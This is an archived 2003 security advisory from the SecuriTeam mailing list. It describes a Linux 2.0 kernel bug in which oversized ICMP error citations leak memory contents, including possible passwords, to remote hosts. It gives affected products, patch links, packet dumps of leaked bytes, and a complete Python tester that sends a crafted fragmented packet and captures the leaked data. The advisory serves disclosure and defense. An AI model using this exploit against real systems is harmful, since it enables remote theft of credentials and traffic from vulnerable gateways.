

[UNIX] Linux 2.0 Remote Info Leak from Too Big ICMP Citation

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0015.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/09/03

To: list@securiteam.com

Date: 9 Jun 2003 21:02:03 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Latest attack techniques.

You're a pen tester, but is google.com still your R&D team?

Now you can get trustworthy commercial-grade exploits and the latest techniques from a world-class research group.

Learn more at <http://www.coresecurity.com/promos/site1>,
or call 617-399-6980

Linux 2.0 Remote Info Leak from Too Big ICMP Citation

SUMMARY

There is a bug in the way Linux 2.0 kernel IP stack computes the size of an ICMP citation for almost every ICMP errors. This leads to too much data being sent on the network, coming from anywhere in the memory.

This is a very important leak. Experiments show that even passwords can be stolen. Moreover, you can do this from anywhere on the Internet, as soon as you can send IP packets to the vulnerable host (except special firewalling).

The typical case is when you use a Linux 2.0 box (or, more probably, any appliance that uses it) as a masquerading gateway for internet and DMZ. In this configuration, the gateway can be used to leak potentially all your traffic from your LAN, even your POP passwords for the mail server in the DMZ.

Securiteam: [UNIX] Linux 2.0 Remote Info Leak from Too Big ICMP Citation

DETAILS

Vulnerable products:

- * Any 2.0 Linux kernel before 2.0.39 (2.0.39 included)
- * WatchGuard Firebox II
- * Any appliance (firewall, proxy, etc.) that uses Linux 2.0 <= 2.0.39

Solutions:

- * Patch at
<<http://www.cartel-securite.fr/pbiondi/patches/icmpleak.patch>>
<http://www.cartel-securite.fr/pbiondi/patches/icmpleak.patch> (Unofficial)
- * Exchange your old appliance by a brand new linux 2.4/netfilter

Workarounds:

No good workarounds. However, you can at least carefully try these:

- * Truncate ICMP errors at the RFC limit,
- * Filter out ICMP errors

Example:

We can send an IP packet with the MF flag :

```
15:41:05 192.168.0.12.80 > 192.168.0.10.80: udp 4 (frag 52007:12@0+)
0x0000 4500 0020 cb27 2000 4011 0e3f c0a8 000c E...!..@..?....
0x0010 c0a8 000a 0050 0050 000c cd1e 5858 5858 .....P.P....XXXX
```

We wait 30s for the reassembly to timeout:

```
15:41:35 192.168.0.10 > 192.168.0.12: icmp: ip reassembly time exceeded
[tos 0xc0]
0x0000 45c0 0050 dcca 0000 4001 1bbc c0a8 000a E..P....@.....
0x0010 c0a8 000c 0b01 aa24 0000 0000 4500 0020 .....$.E...
0x0020 cb27 2000 4011 0e3f c0a8 000c c0a8 000a !..@..?.....
0x0030 0050 0050 000c cd1e 5858 5858 .P.P....XXXX
          0050 0050 .P.P
0x0040 000c cd1e 5858 5858 207b 2d68 0000 0000 ....XXXXX.{-h....
```

Bytes at offsets 0x3c to 0x4f are bonus. It works with every ICMP errors except the port unreachable error. It is possible to increase the size of data leaked by adding IP options.

Examples of bonus bytes:

```
98 EA CD 03 10 58 CD 03 31 32 33 34 AA FF 55 00 .....X..1234..U.
98 86 0C 03 98 EC CD 03 10 58 CD 03 00 00 00 00 .....X.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
58 EE CD 03 98 86 0C 03 98 EE CD 03 10 58 CD 03 X.....X..
69 6E 66 6F 72 6D 61 74 69 6F 6E 00 4D 49 4E 46 information.MINF
00 00 00 00 00 00 00 00 AA FF 55 00 90 88 CC 03 .....U.....
00 50 00 50 00 0C CD 1E 58 58 58 58 00 00 00 00 .P.P....XXXX....
2E 30 2E 25 75 2E 69 6E 2D 61 64 64 72 2E 61 72 .0.%u.in-addr.ar
90 12 CC 03 00 00 00 00 98 C0 B5 02 00 00 00 00 .....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
43 5F 4D 4F 4E 45 54 41 52 59 00 4C 43 5F 43 4F C_MONETARY.LC_CO
```

Securiteam: [UNIX] Linux 2.0 Remote Info Leak from Too Big ICMP Citation

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
90 E2 CA 03 00 00 00 00 98 A0 CC 03 00 00 00 00 .....
00 50 00 50 00 0C CD 1E 58 58 58 58 00 00 00 00 .P.P...XXXX...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00 00 00 00 18 5F FF 00 00 00 00 00 14 00 00 00 ....._.....
73 69 6E 6C 00 2E 67 6E 75 2E 77 61 72 6E 69 6E sinl..gnu.warnin
70 9E 09 40 60 9E 09 40 E0 9A 08 40 A0 9F 08 40 p..@`.@...@...@
68 01 00 00 41 46 00 00 67 01 00 00 41 4C 00 00 h...AF..g...AL..
FF FF FF FF FF FF FF FF E2 00 00 00 4A 00 00 00 .....J...
61 67 65 2D 72 65 74 75 72 6E 00 53 49 00 53 4F age-return.SI.SO
61 73 68 00 7A 65 72 6F 00 6F 6E 65 00 74 77 6F ash.zero.one.two
0D 00 00 00 01 00 00 00 0E 00 00 00 01 00 00 00 .....
01 00 00 00 2D 00 00 00 01 00 00 00 2E 00 00 00 ....-.....
4C 00 00 00 01 00 00 00 4D 00 00 00 01 00 00 00 L.....M.....
01 00 00 00 6C 00 00 00 01 00 00 00 6D 00 00 00 ....l.....m...
4C 43 5F 41 4C 4C 00 4C 43 5F 4D 45 53 53 41 47 LC_ALL.LC_MESSAG
```

Exploit:

```
#!/usr/bin/python
```

```
#####
## ##
## icmpleaktest.py --- tester for the ICMP leak vulnerability ##
## ##
## Copyright (C) 2003 Philippe Biondi <biondi@cartel-securite.fr> ##
## ##
## This program is free software; you can redistribute it and/or modify it
##
## under the terms of the GNU General Public License as published by the
##
## Free Software Foundation; either version 2, or (at your option) any ##
## later version. ##
## ##
## This program is distributed in the hope that it will be useful, but ##
## WITHOUT ANY WARRANTY; without even the implied warranty of ##
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ##
## General Public License for more details. ##
## ##
#####
```

```
import sys,os,time
from socket import *

if len(sys.argv) != 2:
    print "Usage: icmpleaktest.py <host>"
    sys.exit(1)
target = sys.argv[1]

ETH_P_IP = 0x800
```

Securiteam: [UNIX] Linux 2.0 Remote Info Leak from Too Big ICMP Citation

```
load = 18*"X"  
packet = '\x00\x00\x1c\x12\x34\x20\x00@\x01\x00\x00\x00\x00\x00'  
packet += inet_aton(target)  
packet += "\x08\x00\xf7\xff\x00\x00\x00\x00"  
packet += load
```

```
s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)  
s.setsockopt(SOL_IP, IP_HDRINCL, 1)  
t=socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP))
```

```
pid = os.fork()  
if not pid:  
    i=30  
    while i >= 0:  
        time.sleep(1)  
        os.write(1,"%3i\r"%i)  
        i -= 1  
    print "not received ? Maybe you can't emit fragmented packets  
(ip_contrack ?)"  
    sys.exit()
```

```
s.sendto(packet, (target,0))  
print "Packet sent. Answer should take 31s. Interrupt with C-c"  
while 1:  
    p = t.recv(1600)[14:]  
    if ord(p[9]) != IPPROTO_ICMP:  
        continue  
    p = p[(ord(p[0])&0x0f)*4:]  
    if p[:2] != "\x0b\x01": #ip reassembly time exceeded  
        continue  
    p = p[8:]  
    if p[4:6] != "\x12\x34":  
        continue  
    p = p[(ord(p[0])&0x0f)*4+8+len(load):]  
    os.kill(pid,9)  
    print "Got",repr(p)  
    break
```

ADDITIONAL INFORMATION

The original advisory can be downloaded from:

<<http://www.cartel-securite.fr/pbiondi/adv/CARTSA-20030314-icmpleak.txt>>
<http://www.cartel-securite.fr/pbiondi/adv/CARTSA-20030314-icmpleak.txt>

The information has been provided by <mailto:biondi@cartel-securite.fr>
Philippe Biondi.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[UNIX] Linux 2.0 Remote Info Leak from Too Big ICMP Citation

Securiteam: [UNIX] Linux 2.0 Remote Info Leak from Too Big ICMP Citation

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.